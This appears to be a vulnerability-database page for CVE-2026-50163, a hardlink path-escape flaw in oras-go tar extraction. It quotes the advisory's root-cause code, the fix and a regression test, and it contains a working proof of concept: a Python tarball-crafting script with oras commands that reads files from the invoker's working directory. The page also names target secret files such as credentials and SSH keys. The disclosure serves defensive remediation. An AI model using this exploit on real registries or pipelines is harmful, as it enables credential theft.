CVE-2026-50163: `oras-go` tar extraction Hardlink Entry With Relative Linkname Vulnerability

HIGH
Advisory Identifier: GHSA-fxhp-mv3v-67qp
CVSS 7.1
CWE-59 CWE-22
Published
Advisory Summary

CVE-2026-50163 is a HIGH (CVSS 7.1) hardlink entry with relative linkname vulnerability (CWE-59: Improper Link Resolution Before File Access ('Link Following')) affecting `oras-go` tar extraction libraries in the Go ecosystem. The issue involves hardlink entry with relative linkname escapes extract dir via process cwd resolution. Remediation is available by upgrading affected packages to version 2.6.2.

CVE-2026-50163 at a Glance

CVE Identifier CVE-2026-50163
GHSA Identifier GHSA-fxhp-mv3v-67qp
Severity HIGH
CVSS v3.1 Base Score 7.1
CWE Classification CWE-59: Improper Link Resolution Before File Access ('Link Following')
Affected Product `oras-go` tar extraction
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-50163

To remediate this vulnerability, upgrade all affected `oras-go` tar extraction dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

oras.land/oras-go/v2 fixed: 2.6.2
Upgrade oras.land/oras-go/v2 to 2.6.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for oras.land/oras-go/v2

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-50163, inspect your project dependencies for `oras-go` tar extraction:

inspect dependencies for oras.land/oras-go/v2

Analyze the terminal output to locate any version of `oras-go` tar extraction in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.6.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following'), where the product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. In `oras-go` tar extraction, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Root cause The tar-extraction helper `ensureLinkPath` at [`content/file/utils.go:262-275`](https://github.com/oras-project/oras-go/blob/main/content/file/utils.go#L262-L275) validates that a hardlink's target resolves inside the extract base, but then returns the original unresolved `target` string back to the caller: ```go func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) { path := target if !filepath.IsAbs(target) { path = filepath.Join(filepath.Dir(link), target) // resolved FOR VALIDATION } if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil { return "", err } return target, nil // <-- returns the ORIGINAL target, not the validated path } ``` The caller for `TypeLink` hardlinks then does: ```go case tar.TypeLink: var target string if target, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil { err = os.Link(target, filePath) } ``` `os.Link(oldname, newname)` wraps the `link(2)` system call. From the `link(2)` man page: > oldpath and newpath are interpreted relative to the current working directory of the calling process. So when `target` (i.e., `header.Linkname`) is a **relative** path, `os.Link` resolves it against the process's **current working directory**, not against `filepath.Dir(link)` as the validation assumed. ### Attack An attacker who controls an OCI-compliant registry (or any artifact source the victim consumes via `oras pull`) crafts a tarball layer with: - A regular file: `payload.tar.gz/README.txt`. - A hardlink entry: `Typeflag=TypeLink`, `Name=payload.tar.gz/evil_cwd_link`, `Linkname="victim.secret"` (relative). and marks the layer descriptor with `io.deis.oras.content.unpack: "true"` (a standard annotation that tells `oras-go` to auto-extract). When a victim runs `oras pull` (or any Go code using `content.File`), the extraction: 1. Validates `payload.tar.gz/evil_cwd_link` — passes. 2. Calls `ensureLinkPath(dirPath, "payload.tar.gz", filePath, "victim.secret")`: - `path = filepath.Join(filepath.Dir(filePath), "victim.secret")` = `<extract_base>/payload.tar.gz/victim.secret` → inside base → **validation passes**. - Returns `target = "victim.secret"` (NOT `path`). 3. Calls `os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link")`. 4. `link(2)` resolves relative `oldname="victim.secret"` against process CWD → creates a hardlink inside the extract tree pointing to `<invoker_CWD>/victim.secret`. The resulting hardlink and the CWD file **share an inode** — reading one reads the other; writing to one writes to the other. --- ## Proof of Concept Tested on Ubuntu 24.04.4 LTS with `oras` CLI v1.3.0 (SHA-256 `040e140304b7dbdd9b40dacd798e2303cea44ad84eeb210750afdf15f1dcf8b4`, downloaded from <https://github.com/oras-project/oras/releases/download/v1.3.0/oras_1.3.0_linux_amd64.tar.gz>). Reproduction script (standalone, ~50 lines) attached. Summary of key steps: ```bash # 1. Place victim file in the future CWD. mkdir -p cwd-space extract echo "TOP SECRET FROM CWD" > cwd-space/victim.secret # 2. Craft malicious tarball with a TypeLink entry whose Linkname is RELATIVE. python3 -c ' import tarfile, io, os with tarfile.open("cwd-space/payload.tar.gz", "w:gz", format=tarfile.GNU_FORMAT) as t: info = tarfile.TarInfo(name="payload.tar.gz/README.txt") c = b"pulled from registry"; info.size = len(c); info.mode = 0o644 info.uid = os.getuid(); info.gid = os.getgid() t.addfile(info, io.BytesIO(c)) link = tarfile.TarInfo(name="payload.tar.gz/evil_cwd_link") link.type = tarfile.LNKTYPE link.linkname = "victim.secret" # RELATIVE link.mode = 0o644; link.uid = os.getuid(); link.gid = os.getgid() t.addfile(link) ' # 3. Push to OCI layout, patch in the unpack annotation, pull from cwd-space. (cd cwd-space && oras push --oci-layout ../layout:v1 \ payload.tar.gz:application/vnd.oci.image.layer.v1.tar+gzip) # ... patch layout/blobs/sha256/<manifest> to add # io.deis.oras.content.unpack: "true" on layers[0].annotations ... (cd cwd-space && oras pull --oci-layout ../layout:v1 --output ../extract) # 4. Observe inode sharing. stat -c '%i' extract/payload.tar.gz/evil_cwd_link # → 6554160 stat -c '%i' cwd-space/victim.secret # → 6554160 (SAME) cat extract/payload.tar.gz/evil_cwd_link # → "TOP SECRET FROM CWD" ``` Observed output: ``` evil_cwd_link (inside extract dir): inode=6554160 victim.secret (in invoker CWD): inode=6554160 *** ESCAPE CONFIRMED *** Reading through the extract-dir hardlink yields the CWD file contents: TOP SECRET FROM CWD ``` A library-level regression test is also provided (`poc_test.go`) that drops into `content/file/utils_test.go` and runs via `go test ./content/file/... -run TestPoC` — output shows identical inode match for consumers of the library API. --- ## Impact **Primary: arbitrary-CWD-file read primitive.** An attacker-controlled OCI artifact, when pulled by a victim using the `oras` CLI or any Go program using `oras-go/v2/content/file`, can create a hardlink inside the victim's extract tree pointing to an arbitrary file in the victim's process CWD (that the invoker UID is permitted to read). Reading the extract-tree hardlink yields that file's contents verbatim. **Secondary: inode-sharing tampering primitive.** Any tool that later modifies the extract-tree hardlink (write, chmod, truncate, etc.) modifies the CWD file through the shared inode. This violates the "writes inside the extract dir are confined" invariant that downstream tooling (CI systems, container-image builders, artifact scanners) typically depends on. **High-severity chains:** - **CI pipelines** where `oras pull` runs from a project workspace containing secrets/credentials (`.env`, `.git/config`, service-account tokens). The pulled artifact can hardlink those secrets into a location later archived/mounted/published. - **Container orchestration** where the extract dir is bind-mounted into a lower-trust container while the pull-invoker's CWD is higher-trust. Hardlinks created in the extract tree expose invoker-CWD files across the trust boundary. - **Kubernetes operators / Flux source-controller** using `oras-go` to fetch artifacts; their CWD is typically `/` or `/root` — very sensitive. - **Multi-tenant registry proxies** that use `oras-go` to fetch and re-serve artifacts; each proxy process has a CWD with configuration, keys, or per-tenant state. **Not affected:** - `oras push` (tarball creation side): `tarDirectory` in the same file explicitly skips hardlink generation (line 65 comment: `"We don't support hard links and treat it as regular files"`), so pushed content cannot trigger this on the server. - Symlink extraction path (`TypeSymlink`): `os.Symlink` stores the target string verbatim and does not CWD-resolve at creation time. The current `ensureLinkPath` return-of-`target` is correct for symlinks (the existing validation correctly models the symlink-follow path). ### Attack-surface boundary (`fs.protected_hardlinks`) On Linux with `fs.protected_hardlinks=1` (default on modern distros), `link(2)` additionally requires the linking user to have READ + WRITE permission on the source file (per `may_linkat()` in the kernel). Verified on Ubuntu 24.04: as non-root, `ln /etc/passwd /tmp/x` returns `EPERM`, and the same via the oras PoC path returns `link passwd /tmp/.../evil_passwd: operation not permitted`. **So the attacker cannot use this bug to read arbitrary root-owned files (e.g., `/etc/shadow`) when the victim invokes `oras pull` as a regular user.** The attack surface depends on the invocation context: | Invocation context | Reachable file classes | |---|---| | `oras pull` run by a regular user | Any file the user OWNS or has write access to in the process CWD: `.env`, `.git/config`, `.aws/credentials`, `~/.ssh/config`, project-local secrets, CI workspace files. | | `oras pull` run as root (systemd without `User=`, container entrypoint default root, Kubernetes operator) | **Every file on the host filesystem.** `/etc/shadow`, `/root/.ssh/id_rsa`, bind-mounted host paths, service private keys. | The user-context attack surface alone is sufficient for supply-chain-grade impact: CI pipelines and developer machines routinely hold API keys, signing keys, and cloud credentials in user-owned files in the working directory. The root-context escalation makes the bug Critical in mainstream Kubernetes/GitOps tooling where oras-go is adopted for artifact distribution. --- ## Proposed fix Change `ensureLinkPath` to expose both the verbatim target (for symlinks) and the resolved absolute path (for hardlinks); have the `TypeLink` case use the resolved path. ```go // Current behavior preserved for TypeSymlink. TypeLink switches to the resolved // path to avoid CWD-resolution mismatch at os.Link time. func ensureLinkPath(baseAbs, baseRel, link, target string) (symlinkTarget, hardlinkPath string, err error) { path := target if !filepath.IsAbs(target) { path = filepath.Join(filepath.Dir(link), target) } if _, err = resolveRelToBase(baseAbs, baseRel, path); err != nil { return "", "", err } return target, path, nil } ``` ```go case tar.TypeLink: var absTarget string if _, absTarget, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil { err = os.Link(absTarget, filePath) } case tar.TypeSymlink: var symTarget string symTarget, _, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname) if err != nil { return err } if err = os.Symlink(symTarget, filePath); err != nil { ... } ``` **Regression test to add:** Extend `Test_extractTarDirectory_HardLink` with a third sub-test that: 1. Creates a sentinel file in the test's `t.TempDir()` (or an explicitly `os.Chdir`-entered directory) with a known name, e.g. `sentinel.txt`. 2. Builds a tarball containing a `TypeLink` entry with `Linkname: "sentinel.txt"` (relative). 3. Extracts. 4. Asserts either `extractTarDirectory` returned an error, OR the resulting hardlink's inode does NOT match the sentinel's inode.

CVE-2026-50163 Affected `oras-go` tar extraction Versions

1 component(s)
Fixed Versions:
2.6.2
Product / Package Ecosystem Affected Versions Fixed Version
oras.land/oras-go/v2
Go
< 2.6.2
2.6.2

References

Frequently Asked Questions

What is CVE-2026-50163?
CVE-2026-50163 is a security vulnerability in `oras-go` tar extraction involving Hardlink entry with relative Linkname escapes extract dir via process CWD resolution under CWE-59: Improper Link Resolution Before File Access ('Link Following').
Which `oras-go` tar extraction versions are affected?
Affected versions include releases prior to 2.6.2 across affected packages: oras.land/oras-go/v2.
What version fixes CVE-2026-50163?
Upgrading to 2.6.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is oras.land/oras-go/v2 affected?
Yes, oras.land/oras-go/v2 is affected in releases prior to 2.6.2. Upgrade your dependency to 2.6.2 or later.
What is the CVSS score of CVE-2026-50163?
CVE-2026-50163 has a CVSS v3.1 base score of 7.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N.
What CWE is associated with CVE-2026-50163?
CVE-2026-50163 is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following') (The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.).
How can I check Go dependencies for CVE-2026-50163?
Run the dependency tree command: 'inspect dependencies for oras.land/oras-go/v2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fxhp-mv3v-67qp",
  "modified" : "2026-08-04T21:53:16Z",
  "published" : "2026-07-01T21:48:04Z",
  "aliases" : [ "CVE-2026-50163" ],
  "summary" : "`oras-go` tar extraction: Hardlink entry with relative Linkname escapes extract dir via process CWD resolution",
  "details" : "### Root cause\n\nThe tar-extraction helper `ensureLinkPath` at [`content/file/utils.go:262-275`](https://github.com/oras-project/oras-go/blob/main/content/file/utils.go#L262-L275) validates that a hardlink's target resolves inside the extract base, but then returns the original unresolved `target` string back to the caller:\n\n```go\nfunc ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {\n    path := target\n    if !filepath.IsAbs(target) {\n        path = filepath.Join(filepath.Dir(link), target)  // resolved FOR VALIDATION\n    }\n    if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {\n        return \"\", err\n    }\n    return target, nil   // <-- returns the ORIGINAL target, not the validated path\n}\n```\n\nThe caller for `TypeLink` hardlinks then does:\n\n```go\ncase tar.TypeLink:\n    var target string\n    if target, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {\n        err = os.Link(target, filePath)\n    }\n```\n\n`os.Link(oldname, newname)` wraps the `link(2)` system call. From the `link(2)` man page:\n\n> oldpath and newpath are interpreted relative to the current working directory of the calling process.\n\nSo when `target` (i.e., `header.Linkname`) is a **relative** path, `os.Link` resolves it against the process's **current working directory**, not against `filepath.Dir(link)` as the validation assumed.\n\n### Attack\n\nAn attacker who controls an OCI-compliant registry (or any artifact source the victim consumes via `oras pull`) crafts a tarball layer with:\n\n- A regular file: `payload.tar.gz/README.txt`.\n- A hardlink entry: `Typeflag=TypeLink`, `Name=payload.tar.gz/evil_cwd_link`, `Linkname=\"victim.secret\"` (relative).\n\nand marks the layer descriptor with `io.deis.oras.content.unpack: \"true\"` (a standard annotation that tells `oras-go` to auto-extract).\n\nWhen a victim runs `oras pull` (or any Go code using `content.File`), the extraction:\n\n1. Validates `payload.tar.gz/evil_cwd_link` — passes.\n2. Calls `ensureLinkPath(dirPath, \"payload.tar.gz\", filePath, \"victim.secret\")`:\n   - `path = filepath.Join(filepath.Dir(filePath), \"victim.secret\")` = `<extract_base>/payload.tar.gz/victim.secret` → inside base → **validation passes**.\n   - Returns `target = \"victim.secret\"` (NOT `path`).\n3. Calls `os.Link(\"victim.secret\", \"<extract_base>/payload.tar.gz/evil_cwd_link\")`.\n4. `link(2)` resolves relative `oldname=\"victim.secret\"` against process CWD → creates a hardlink inside the extract tree pointing to `<invoker_CWD>/victim.secret`.\n\nThe resulting hardlink and the CWD file **share an inode** — reading one reads the other; writing to one writes to the other.\n\n---\n\n## Proof of Concept\n\nTested on Ubuntu 24.04.4 LTS with `oras` CLI v1.3.0 (SHA-256 `040e140304b7dbdd9b40dacd798e2303cea44ad84eeb210750afdf15f1dcf8b4`, downloaded from <https://github.com/oras-project/oras/releases/download/v1.3.0/oras_1.3.0_linux_amd64.tar.gz>).\n\nReproduction script (standalone, ~50 lines) attached. Summary of key steps:\n\n```bash\n# 1. Place victim file in the future CWD.\nmkdir -p cwd-space extract\necho \"TOP SECRET FROM CWD\" > cwd-space/victim.secret\n\n# 2. Craft malicious tarball with a TypeLink entry whose Linkname is RELATIVE.\npython3 -c '\nimport tarfile, io, os\nwith tarfile.open(\"cwd-space/payload.tar.gz\", \"w:gz\", format=tarfile.GNU_FORMAT) as t:\n    info = tarfile.TarInfo(name=\"payload.tar.gz/README.txt\")\n    c = b\"pulled from registry\"; info.size = len(c); info.mode = 0o644\n    info.uid = os.getuid(); info.gid = os.getgid()\n    t.addfile(info, io.BytesIO(c))\n\n    link = tarfile.TarInfo(name=\"payload.tar.gz/evil_cwd_link\")\n    link.type = tarfile.LNKTYPE\n    link.linkname = \"victim.secret\"   # RELATIVE\n    link.mode = 0o644; link.uid = os.getuid(); link.gid = os.getgid()\n    t.addfile(link)\n'\n\n# 3. Push to OCI layout, patch in the unpack annotation, pull from cwd-space.\n(cd cwd-space && oras push --oci-layout ../layout:v1 \\\n    payload.tar.gz:application/vnd.oci.image.layer.v1.tar+gzip)\n# ... patch layout/blobs/sha256/<manifest> to add\n#     io.deis.oras.content.unpack: \"true\" on layers[0].annotations ...\n\n(cd cwd-space && oras pull --oci-layout ../layout:v1 --output ../extract)\n\n# 4. Observe inode sharing.\nstat -c '%i' extract/payload.tar.gz/evil_cwd_link   # → 6554160\nstat -c '%i' cwd-space/victim.secret                # → 6554160 (SAME)\ncat extract/payload.tar.gz/evil_cwd_link             # → \"TOP SECRET FROM CWD\"\n```\n\nObserved output:\n\n```\nevil_cwd_link (inside extract dir): inode=6554160\nvictim.secret  (in invoker CWD):    inode=6554160\n*** ESCAPE CONFIRMED ***\nReading through the extract-dir hardlink yields the CWD file contents:\nTOP SECRET FROM CWD\n```\n\nA library-level regression test is also provided (`poc_test.go`) that drops into `content/file/utils_test.go` and runs via `go test ./content/file/... -run TestPoC` — output shows identical inode match for consumers of the library API.\n\n---\n\n## Impact\n\n**Primary: arbitrary-CWD-file read primitive.** An attacker-controlled OCI artifact, when pulled by a victim using the `oras` CLI or any Go program using `oras-go/v2/content/file`, can create a hardlink inside the victim's extract tree pointing to an arbitrary file in the victim's process CWD (that the invoker UID is permitted to read). Reading the extract-tree hardlink yields that file's contents verbatim.\n\n**Secondary: inode-sharing tampering primitive.** Any tool that later modifies the extract-tree hardlink (write, chmod, truncate, etc.) modifies the CWD file through the shared inode. This violates the \"writes inside the extract dir are confined\" invariant that downstream tooling (CI systems, container-image builders, artifact scanners) typically depends on.\n\n**High-severity chains:**\n\n- **CI pipelines** where `oras pull` runs from a project workspace containing secrets/credentials (`.env`, `.git/config`, service-account tokens). The pulled artifact can hardlink those secrets into a location later archived/mounted/published.\n- **Container orchestration** where the extract dir is bind-mounted into a lower-trust container while the pull-invoker's CWD is higher-trust. Hardlinks created in the extract tree expose invoker-CWD files across the trust boundary.\n- **Kubernetes operators / Flux source-controller** using `oras-go` to fetch artifacts; their CWD is typically `/` or `/root` — very sensitive.\n- **Multi-tenant registry proxies** that use `oras-go` to fetch and re-serve artifacts; each proxy process has a CWD with configuration, keys, or per-tenant state.\n\n**Not affected:**\n\n- `oras push` (tarball creation side): `tarDirectory` in the same file explicitly skips hardlink generation (line 65 comment: `\"We don't support hard links and treat it as regular files\"`), so pushed content cannot trigger this on the server.\n- Symlink extraction path (`TypeSymlink`): `os.Symlink` stores the target string verbatim and does not CWD-resolve at creation time. The current `ensureLinkPath` return-of-`target` is correct for symlinks (the existing validation correctly models the symlink-follow path).\n\n### Attack-surface boundary (`fs.protected_hardlinks`)\n\nOn Linux with `fs.protected_hardlinks=1` (default on modern distros), `link(2)` additionally requires the linking user to have READ + WRITE permission on the source file (per `may_linkat()` in the kernel). Verified on Ubuntu 24.04: as non-root, `ln /etc/passwd /tmp/x` returns `EPERM`, and the same via the oras PoC path returns `link passwd /tmp/.../evil_passwd: operation not permitted`.\n\n**So the attacker cannot use this bug to read arbitrary root-owned files (e.g., `/etc/shadow`) when the victim invokes `oras pull` as a regular user.** The attack surface depends on the invocation context:\n\n| Invocation context | Reachable file classes |\n|---|---|\n| `oras pull` run by a regular user | Any file the user OWNS or has write access to in the process CWD: `.env`, `.git/config`, `.aws/credentials`, `~/.ssh/config`, project-local secrets, CI workspace files. |\n| `oras pull` run as root (systemd without `User=`, container entrypoint default root, Kubernetes operator) | **Every file on the host filesystem.** `/etc/shadow`, `/root/.ssh/id_rsa`, bind-mounted host paths, service private keys. |\n\nThe user-context attack surface alone is sufficient for supply-chain-grade impact: CI pipelines and developer machines routinely hold API keys, signing keys, and cloud credentials in user-owned files in the working directory. The root-context escalation makes the bug Critical in mainstream Kubernetes/GitOps tooling where oras-go is adopted for artifact distribution.\n\n---\n\n## Proposed fix\n\nChange `ensureLinkPath` to expose both the verbatim target (for symlinks) and the resolved absolute path (for hardlinks); have the `TypeLink` case use the resolved path.\n\n```go\n// Current behavior preserved for TypeSymlink. TypeLink switches to the resolved\n// path to avoid CWD-resolution mismatch at os.Link time.\nfunc ensureLinkPath(baseAbs, baseRel, link, target string) (symlinkTarget, hardlinkPath string, err error) {\n    path := target\n    if !filepath.IsAbs(target) {\n        path = filepath.Join(filepath.Dir(link), target)\n    }\n    if _, err = resolveRelToBase(baseAbs, baseRel, path); err != nil {\n        return \"\", \"\", err\n    }\n    return target, path, nil\n}\n```\n\n```go\ncase tar.TypeLink:\n    var absTarget string\n    if _, absTarget, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {\n        err = os.Link(absTarget, filePath)\n    }\ncase tar.TypeSymlink:\n    var symTarget string\n    symTarget, _, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname)\n    if err != nil { return err }\n    if err = os.Symlink(symTarget, filePath); err != nil { ... }\n```\n\n**Regression test to add:**\n\nExtend `Test_extractTarDirectory_HardLink` with a third sub-test that:\n1. Creates a sentinel file in the test's `t.TempDir()` (or an explicitly `os.Chdir`-entered directory) with a known name, e.g. `sentinel.txt`.\n2. Builds a tarball containing a `TypeLink` entry with `Linkname: \"sentinel.txt\"` (relative).\n3. Extracts.\n4. Asserts either `extractTarDirectory` returned an error, OR the resulting hardlink's inode does NOT match the sentinel's inode.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "oras.land/oras-go/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.6.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.6.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/oras-project/oras-go/security/advisories/GHSA-fxhp-mv3v-67qp"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-50163"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/oras-project/oras-go/pull/1232"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/oras-project/oras-go/commit/b11f777f8d405c5023c4b307cfdc5068dfc3d406"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/oras-project/oras-go/commit/c463c654ab3ef34422c1764cd619806cebf20451"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/oras-project/oras-go"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/oras-project/oras-go/releases/tag/v2.6.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-59" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-01T21:48:04Z",
    "nvd_published_at" : "2026-07-17T20:17:23Z"
  }
}